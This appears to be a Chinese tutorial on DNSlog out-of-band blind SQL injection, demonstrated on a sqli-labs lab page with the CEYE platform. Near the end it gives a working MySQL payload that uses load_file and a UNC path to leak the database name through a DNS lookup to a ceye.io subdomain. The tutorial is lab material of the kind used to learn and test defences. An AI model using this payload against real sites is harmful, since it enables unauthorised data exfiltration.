利用dnslog进行无回显注入

原理

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

使用平台

CEYE

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。

过程

CEYE

Identifier是你的地址

利用dnslog进行无回显注入_第1张图片
这个CEYE到底怎么用呢
CEYE会分配一个三级域名如:xxx.ceye.io,你访问任意一个四级域名系统就会自动记录你访问的四级域名,如:test.xxx.ceye.io
http://10.10.10.154/sqli/Less-5/?id=1 sqli的第五关
利用dnslog进行无回显注入_第2张图片
无回显
这里使用mysql中load_file()函数

LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
在MySQL5.0.19,character_set_filesystem系统变量控制文件名的解释,即仅作文字字符串。

利用dnslog进行无回显注入_第3张图片

利用dnslog进行无回显注入_第4张图片

利用dnslog进行无回显注入_第5张图片
CEYE会记录
这样就会获得当前数据库名
直接去拼接就OK了

' and if((select load_file(concat('\\',(select database()),'.XXXXX.ceye.io\abc'))),1,1)--+

你可能感兴趣的:(利用dnslog进行无回显注入)